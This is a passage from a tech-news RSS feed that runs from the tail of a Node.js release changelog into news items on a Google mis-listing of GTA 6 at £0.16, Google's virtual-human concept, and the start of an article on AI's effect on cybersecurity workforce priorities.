<li>[<a href="https://github.com/nodejs/node/commit/978f5c15d7"><code>978f5c15d7</code></a>] - <strong>stream</strong>: simplify <code>readableStreamFromIterable</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62651" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62651/hovercard">#62651</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3527646ba5"><code>3527646ba5</code></a>] - <strong>stream</strong>: fix nested compose error propagation (Matteo Collina) <a href="https://github.com/nodejs/node/pull/62556" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62556/hovercard">#62556</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dfb9edef4f"><code>dfb9edef4f</code></a>] - <strong>stream</strong>: allow shared array buffer sources in writable webstream adapter (René) <a href="https://github.com/nodejs/node/pull/62163" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62163/hovercard">#62163</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f00cdab627"><code>f00cdab627</code></a>] - <strong>stream</strong>: simplify <code>createPromiseCallback</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62650" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62650/hovercard">#62650</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3ed783535f"><code>3ed783535f</code></a>] - <strong>stream</strong>: fix writev unhandled rejection in fromWeb (sangwook) <a href="https://github.com/nodejs/node/pull/62297" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62297/hovercard">#62297</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/29b196694c"><code>29b196694c</code></a>] - <strong>stream</strong>: noop pause/resume on destroyed streams (Robert Nagy) <a href="https://github.com/nodejs/node/pull/62557" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62557/hovercard">#62557</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d73dbb9fc8"><code>d73dbb9fc8</code></a>] - <strong>stream</strong>: refactor duplexify to be less suceptible to prototype pollution (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62559" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62559/hovercard">#62559</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6f37f7e240"><code>6f37f7e240</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>stream</strong>: propagate destruction in duplexPair (Ahmed Elhor) <a href="https://github.com/nodejs/node/pull/61098" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61098/hovercard">#61098</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b8816580e9"><code>b8816580e9</code></a>] - <strong>test</strong>: generate <code>localstorage.db</code> in a temp dir (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/62660" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62660/hovercard">#62660</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/31a863fd29"><code>31a863fd29</code></a>] - <strong>test</strong>: update WPT for url to 258f285de0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63087" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63087/hovercard">#63087</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d0d19bd8e3"><code>d0d19bd8e3</code></a>] - <strong>test</strong>: update WPT for streams to f8f26a372f (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62864" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62864/hovercard">#62864</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f50ac5bc78"><code>f50ac5bc78</code></a>] - <strong>test</strong>: improve config-file permission test coverage (Rafael Gonzaga) <a href="https://github.com/nodejs/node/pull/60929" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60929/hovercard">#60929</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a0f90000f4"><code>a0f90000f4</code></a>] - <strong>test</strong>: export isRiscv64 from common module (Jamie Magee) <a href="https://github.com/nodejs/node/pull/62609" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62609/hovercard">#62609</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/da4dd8646f"><code>da4dd8646f</code></a>] - <strong>test</strong>: normalize known inspector crash as completion (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/62851" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62851/hovercard">#62851</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b7fdd94a4c"><code>b7fdd94a4c</code></a>] - <strong>test</strong>: account for RFC 7919 FFDHE negotiation in OpenSSL 4.0 (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62805" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62805/hovercard">#62805</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/375a993aaf"><code>375a993aaf</code></a>] - <strong>test</strong>: skip tls-deprecated secp256k1 on OpenSSL 4.0 (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62805" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62805/hovercard">#62805</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/698d8287d1"><code>698d8287d1</code></a>] - <strong>test</strong>: use an always invalid cipher and cover OpenSSL 4.0 behaviours (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62805" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62805/hovercard">#62805</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/036bc6f300"><code>036bc6f300</code></a>] - <strong>test</strong>: use valid DER OCSP responses (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62805" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62805/hovercard">#62805</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3aa9938da8"><code>3aa9938da8</code></a>] - <strong>test</strong>: skip test-tls-error-stack when engines are unsupported (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62805" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62805/hovercard">#62805</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/947f1ae246"><code>947f1ae246</code></a>] - <strong>test</strong>: accept renamed OpenSSL 4.0 error code and reason (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62805" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62805/hovercard">#62805</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/afdd355622"><code>afdd355622</code></a>] - <strong>test</strong>: update test/addons/openssl-binding for OpenSSL 4.0 (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62805" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62805/hovercard">#62805</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8637524a99"><code>8637524a99</code></a>] - <strong>test</strong>: mark test-snapshot-reproducible flaky (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62808" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62808/hovercard">#62808</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c22d34134b"><code>c22d34134b</code></a>] - <strong>test</strong>: check contextify contextual store behavior in strict mode (René) <a href="https://github.com/nodejs/node/pull/62571" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62571/hovercard">#62571</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0b4e0d3c94"><code>0b4e0d3c94</code></a>] - <strong>test</strong>: update tls junk data error expectations (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62629" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62629/hovercard">#62629</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/85d83c2cdb"><code>85d83c2cdb</code></a>] - <strong>test</strong>: ensure WPT report is in out/wpt (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62637" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62637/hovercard">#62637</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9e21711c60"><code>9e21711c60</code></a>] - <strong>test</strong>: improve WPT runner summary (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62636" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62636/hovercard">#62636</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e04e2c9ac1"><code>e04e2c9ac1</code></a>] - <strong>test</strong>: skip url WPT subtests instead of modifying test script (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62635" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62635/hovercard">#62635</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7b1211f88c"><code>7b1211f88c</code></a>] - <strong>test</strong>: capture negative utimes mtime at call time (Yuya Inoue) <a href="https://github.com/nodejs/node/pull/62490" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62490/hovercard">#62490</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f1a6e9fcc7"><code>f1a6e9fcc7</code></a>] - <strong>test</strong>: allow skipping individual WPT subtests (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62517" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62517/hovercard">#62517</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/23f927542e"><code>23f927542e</code></a>] - <strong>test</strong>: use on-disk fixture for test-npm-install (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/62584" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62584/hovercard">#62584</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4739c45879"><code>4739c45879</code></a>] - <strong>test</strong>: update WPT for url to 7a3645b79a (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62591" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62591/hovercard">#62591</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f68189b839"><code>f68189b839</code></a>] - <strong>test_runner</strong>: add <code>testId</code> to test events (Moshe Atlow) <a href="https://github.com/nodejs/node/pull/62772" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62772/hovercard">#62772</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5c2770446e"><code>5c2770446e</code></a>] - <strong>test_runner</strong>: publish to TracingChannel for OTel instrumentation (Moshe Atlow) <a href="https://github.com/nodejs/node/pull/62502" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62502/hovercard">#62502</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d14029be7f"><code>d14029be7f</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>test_runner</strong>: support test order randomization (Pietro Marchini) <a href="https://github.com/nodejs/node/pull/61747" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61747/hovercard">#61747</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3f74a58979"><code>3f74a58979</code></a>] - <strong>test_runner</strong>: update node-config-schema (Pietro Marchini) <a href="https://github.com/nodejs/node/pull/58680" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/58680/hovercard">#58680</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/60c83f6199"><code>60c83f6199</code></a>] - <strong>test_runner</strong>: fix failing suite hooks when marked with <code>todo</code> (Moshe Atlow) <a href="https://github.com/nodejs/node/pull/63097" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63097/hovercard">#63097</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d142c584cd"><code>d142c584cd</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>test_runner</strong>: align mock timeout api (sangwook) <a href="https://github.com/nodejs/node/pull/62820" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62820/hovercard">#62820</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3e72065ed6"><code>3e72065ed6</code></a>] - <strong>test_runner</strong>: fix suite rerun edge case (Moshe Atlow) <a href="https://github.com/nodejs/node/pull/62860" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62860/hovercard">#62860</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/01a9552585"><code>01a9552585</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>test_runner</strong>: add mock-timers support for AbortSignal.timeout (DeveloperViraj) <a href="https://github.com/nodejs/node/pull/60751" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60751/hovercard">#60751</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dd43efffa6"><code>dd43efffa6</code></a>] - <strong>test_runner</strong>: add passed, attempt, and diagnostic to SuiteContext (Moshe Atlow) <a href="https://github.com/nodejs/node/pull/62504" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62504/hovercard">#62504</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a12dc445cc"><code>a12dc445cc</code></a>] - <strong>tools</strong>: add a check for clean git tree after tests (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62661" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62661/hovercard">#62661</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5b49178375"><code>5b49178375</code></a>] - <strong>tools</strong>: use LTS Node.js in notify-on-push workflow (Nenad Spasenic) <a href="https://github.com/nodejs/node/pull/63084" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63084/hovercard">#63084</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5a93bde5bb"><code>5a93bde5bb</code></a>] - <strong>tools</strong>: update gr2m/create-or-update-pull-request-action to v1.10.1 (Mike McCready) <a href="https://github.com/nodejs/node/pull/63065" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63065/hovercard">#63065</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b133019d19"><code>b133019d19</code></a>] - <strong>tools</strong>: simplify <code>update-undici.sh</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63044" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63044/hovercard">#63044</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/04d3538074"><code>04d3538074</code></a>] - <strong>tools</strong>: do not run <code>test-linux</code> on unrelated tools changes (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63037" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63037/hovercard">#63037</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4d396ac4a5"><code>4d396ac4a5</code></a>] - <strong>tools</strong>: bump the eslint group in /tools/eslint with 4 updates (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62848" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62848/hovercard">#62848</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9354bf40e7"><code>9354bf40e7</code></a>] - <strong>tools</strong>: update gyp-next to 0.22.1 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62961" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62961/hovercard">#62961</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c23db1ca85"><code>c23db1ca85</code></a>] - <strong>tools</strong>: fix commit linter for semver-major release proposals (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62993" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62993/hovercard">#62993</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6e097ee3f1"><code>6e097ee3f1</code></a>] - <strong>tools</strong>: consolidate and simplify .editorconfig deps section (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/62887" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62887/hovercard">#62887</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a47ea6d6ea"><code>a47ea6d6ea</code></a>] - <strong>tools</strong>: set bot as author of tools-deps-update PRs (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62856" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62856/hovercard">#62856</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/00e86f0471"><code>00e86f0471</code></a>] - <strong>tools</strong>: bump brace-expansion from 5.0.4 to 5.0.5 in /tools/eslint (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62458" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62458/hovercard">#62458</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cd7e262e75"><code>cd7e262e75</code></a>] - <strong>tools</strong>: bump brace-expansion in /tools/clang-format (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62467" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62467/hovercard">#62467</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bfc1319bc8"><code>bfc1319bc8</code></a>] - <strong>tools</strong>: exclude @node-core/doc-kit from dependabot cooldown (Levi Zim) <a href="https://github.com/nodejs/node/pull/62775" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62775/hovercard">#62775</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a932fbd10b"><code>a932fbd10b</code></a>] - <strong>tools</strong>: re-enable undici WPTs in daily wpt.fyi job (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62677" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62677/hovercard">#62677</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f7bd9e3055"><code>f7bd9e3055</code></a>] - <strong>tools</strong>: update gyp-next to 0.22.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62697" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62697/hovercard">#62697</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c400d46d87"><code>c400d46d87</code></a>] - <strong>tools</strong>: improve backport review script (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62573" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62573/hovercard">#62573</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/be23b75814"><code>be23b75814</code></a>] - <strong>tools</strong>: improve output for unexpected passes in WTP tests (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62587" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62587/hovercard">#62587</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/609c013ece"><code>609c013ece</code></a>] - <strong>tools</strong>: revert OpenSSL update workflow to ubuntu-latest (Richard Lau) <a href="https://github.com/nodejs/node/pull/62627" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62627/hovercard">#62627</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/81bac1ebfd"><code>81bac1ebfd</code></a>] - <strong>tools</strong>: bump the eslint group in /tools/eslint with 2 updates (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62552" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62552/hovercard">#62552</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1fee26522d"><code>1fee26522d</code></a>] - <strong>tools</strong>: allow triagers to queue a PR for CI until it's reviewed (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62524" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62524/hovercard">#62524</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/332088f929"><code>332088f929</code></a>] - <strong>tools</strong>: do not run <code>commit-lint</code> on release proposals (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62523" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62523/hovercard">#62523</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9a25fc8a4d"><code>9a25fc8a4d</code></a>] - <strong>url</strong>: process crash via malformed UNC hostname in pathToFileURL() (Nicola Del Gobbo) <a href="https://github.com/nodejs/node/pull/62574" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62574/hovercard">#62574</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7bd08ff60a"><code>7bd08ff60a</code></a>] - <strong>url</strong>: optimize URLSearchParams set/delete duplicate handling (Gürgün Dayıoğlu) <a href="https://github.com/nodejs/node/pull/62266" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62266/hovercard">#62266</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2d636388fa"><code>2d636388fa</code></a>] - <strong>url</strong>: align default argument handling for URLPattern with webidl (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62719" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62719/hovercard">#62719</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/00705a459a"><code>00705a459a</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>util</strong>: colorize text with hex colors (Guilherme Araújo) <a href="https://github.com/nodejs/node/pull/61556" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61556/hovercard">#61556</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0e2adb3e45"><code>0e2adb3e45</code></a>] - <strong>watch</strong>: track worker entry files in watch mode (SudhansuBandha) <a href="https://github.com/nodejs/node/pull/62368" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62368/hovercard">#62368</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c58fe38211"><code>c58fe38211</code></a>] - <strong>watch</strong>: fix --env-file-if-exists crashing on linux if the file is missing (Efe) <a href="https://github.com/nodejs/node/pull/61870" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61870/hovercard">#61870</a></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Google listete GTA 6 für nur 0,18 Euro]]></title>
<description><![CDATA[Die Stimmung in der GTA-6-Fangemeinde ist ohnehin schon am Kochen, weil viele den Vorverkaufsstart jetzt erwarten. Da gießt Google noch einmal extra Öl ins Feuer und listet GTA 6 für die PS5 für gerade einmal 0,16 britische Pfund. Das sind umgerechnet 0,18 Euro.



Unter Fans machte diese bemerke...]]></description>
<link>https://tsecurity.de/de/3535437/it-nachrichten/google-listete-gta-6-fuer-nur-018-euro/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3535437/it-nachrichten/google-listete-gta-6-fuer-nur-018-euro/</guid>
<pubDate>Thu, 21 May 2026 09:32:31 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper">

</div></figure>



<p>Die Stimmung in der GTA-6-Fangemeinde ist ohnehin schon am Kochen, weil viele den Vorverkaufsstart jetzt erwarten. Da gießt Google noch einmal extra Öl ins Feuer und listet GTA 6 für die PS5 für gerade einmal 0,16 britische Pfund. Das sind umgerechnet 0,18 Euro.</p>



<p>Unter Fans machte diese bemerkenswerte Fehlleistung von Google schnell die Runde. So kursiert beispielsweise auf <a href="https://x.com/saukko505/status/2056998741601669336">X/Twitter ein Screenshot, der diesen Preis im Playstation Store zeigt.</a></p>



<figure class="wp-block-embed is-type-rich is-provider-twitter wp-block-embed-twitter"><div class="wp-block-embed__wrapper">
<blockquote class="twitter-tweet" data-width="500" data-dnt="true"><p lang="en" dir="ltr">The price of GTA 6 appears to be £0.16 <a href="https://t.co/m2ImrhuS41">pic.twitter.com/m2ImrhuS41</a></p>— Saukko505 (@saukko505) <a href="https://twitter.com/saukko505/status/2056998741601669336?ref_src=twsrc%5Etfw">May 20, 2026</a></blockquote>
</div></figure>



<p>Neben dem Preis steht zudem “auf Lager” und “kostenlose Lieferung am nächsten Tag”.</p>



<p>Natürlich war diese Darstellung von Google für den Playstation Store ein Fehler. Doch er passt in diese Zeit, in der sich zu GTA VI die Gerüchte überschlagen. Zunächst hieß es, dass der Vorverkauf zwischen dem 18. und 21. Mai (also heute) starten würde. Mehr dazu lesen Sie in <a href="https://www.pcwelt.de/article/3140546/gta-6-schon-ab-naechster-woche-vorbestellen-neuer-leak-aufgetaucht.html" target="_blank" rel="noreferrer noopener">GTA 6 schon ab nächster Woche vorbestellen? Neuer Leak aufgetaucht.</a> Basis für dieses Gerücht war ein Leak des US-Händlers Best Buy.</p>



<p>Dann verkaufte ein italienischer Online-Händler GTA VI tatsächlich am 18. Mai für 69,90 Euro in seinem Store. Das Spiel war dort bald ausverkauft. In den Gerüchten von letzter Woche war von sechs unterschiedlichen Editionen die Rede: drei klassischen digitalen oder physischen Editionen in verschiedenen Ausstattungsstufen, einer besonders umfangreichen Sonderedition sowie zwei Konsolen-Bundles mit digitalem Download-Code. Bei Showgame gab es aber nur eine. Mehr dazu lesen Sie in <a href="https://www.pcwelt.de/article/3141957/gta-6-anscheinend-ueberraschend-guenstig-rockstar.html" target="_blank" rel="noreferrer noopener">GTA 6 anscheinend überraschend günstig.</a> </p>



<p>Und nun eben das falsche Google-Listing. Dabei <a href="https://www.xboxdynasty.de/news/grand-theft-auto-vi/gta-6-ploetzlich-fuer-16-cent-im-playstation-store-gelistet/">könnte</a> es sich um einen Platzhalter oder um einen technischen Fehler handeln. Absicht dürfte das kurios günstige Angebot sicherlich nicht gewesen sein.</p>



<p>Der offizielle Veröffentlichungstermin für das <a href="https://www.pcwelt.de/article/3140313/gta-6-teuerstes-spiel-3-milliarden-us-dollar.html" target="_blank" rel="noreferrer noopener">vermutlich teuerste Spiel aller Zeiten</a> (was die Produktionskosten angeht) ist der 19. November 2026.</p>



<p>Auf Amazon ist das Spiel noch <strong>nicht</strong> erhältlich. Dort findet man kurioserweise aber bereits jetzt Anleitungen zum Durchspielen von GTA VI. Diese basieren vermutlich/offensichtlich auf den Erfahrungen aus den vorangegangenen Titeln sowie aus den Leaks:</p>



<ul class="wp-block-list">
<li><a href="https://amazon.de/dp/B0GZ9QBQD3?tag=pcwelt.de-21&amp;ascsubtag=rss">Grand Theft Auto VI Unofficial Game Guide (2026 Edition): Complete Walkthrough, Heists, Money, Vehicles, and Secrets</a></li>



<li><a href="https://amazon.de/dp/B0GZ721SPR?tag=pcwelt.de-21&amp;ascsubtag=rss">Grand Theft Auto VI Ultimate Strategy Guide (2026 Edition): Best Tips, Heists, Money, Vehicles, Weapons, and Full Completion</a></li>



<li><a href="https://amazon.de/dp/B0GZJ51XHT?tag=pcwelt.de-21&amp;ascsubtag=rss">Grand Theft Auto VI Complete Guide &amp; Walkthrough (Updated 2026): Beginner Tips, Advanced Strategies, Heists, Exploration, and Full Completion</a></li>
</ul>



<p>Ebenfalls auf Amazon erhältlich: <a href="https://www.amazon.de/dp/B0H23FT78N/?tag=pcwelt.de-21&amp;ascsubtag=rss">The Unofficial GTA 6 Conspiracy Book – Leaks, Hidden Messages, and the Future of Vice City</a>.</p>

</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Is Google's Uncanny Virtual Human a Future Coworker or Concierge? video]]></title>
<description><![CDATA[An experimental concept of an AI coworker feels like a demo of what could greet us in a future hotel lobby or theme park.]]></description>
<link>https://tsecurity.de/de/3534653/it-nachrichten/is-googles-uncanny-virtual-human-a-future-coworker-or-concierge-video/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3534653/it-nachrichten/is-googles-uncanny-virtual-human-a-future-coworker-or-concierge-video/</guid>
<pubDate>Thu, 21 May 2026 01:17:10 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[An experimental concept of an AI coworker feels like a demo of what could greet us in a future hotel lobby or theme park.]]></content:encoded>
</item>
<item>
<title><![CDATA[AI reshapes cybersecurity workforce priorities as IT teams brace for new risks]]></title>
<description><![CDATA[Artificial intelligence is reshaping cybersecurity operations, workforce development, and enterprise risk management, according to separate research reports from Hack The Box and ISC2, which found that organizations are embracing AI security tools while they are also preparing for new AI-enabled ...]]></description>
<link>https://tsecurity.de/de/3533514/it-security-nachrichten/ai-reshapes-cybersecurity-workforce-priorities-as-it-teams-brace-for-new-risks/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3533514/it-security-nachrichten/ai-reshapes-cybersecurity-workforce-priorities-as-it-teams-brace-for-new-risks/</guid>
<pubDate>Wed, 20 May 2026 17:09:52 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Artificial intelligence is reshaping <a href="https://www.networkworld.com/article/3985845/comptia-cert-target-operational-cybersecurity-skills.html" target="_blank">cybersecurity operations</a>, workforce development, and enterprise risk management, according to separate research reports from <a href="https://www.hackthebox.com/blog/htb-cybersecurity-workforce-intelligence-report" target="_blank" rel="noreferrer noopener">Hack The Box</a> and <a href="https://www.isc2.org/research" target="_blank" rel="noreferrer noopener">ISC2</a>, which found that organizations are embracing AI security tools while they are also preparing for new AI-enabled threats.</p>



<p><a href="https://www.hackthebox.com/workforce-intelligence-report?utm_source=businesswire&amp;utm_medium=syndicated&amp;utm_campaign=FY26_Q2_GLOBAL_PR_WorkforceIntelligenceReport&amp;utm_content=WorkforceIntelligenceReportPR" target="_blank" rel="noreferrer noopener">Hack The Box’s Cybersecurity Workforce Intelligence Report</a> found that AI penetration testing now ranks among the top global cybersecurity training priorities, while <a href="https://www.isc2.org/Insights/2026/05/ai-and-emerging-technologies-disrupt-cybersecurity" target="_blank" rel="noreferrer noopener">ISC2’s latest workforce research</a> shows AI is viewed as both the technology most likely to improve security and the one most likely to increase risk.</p>



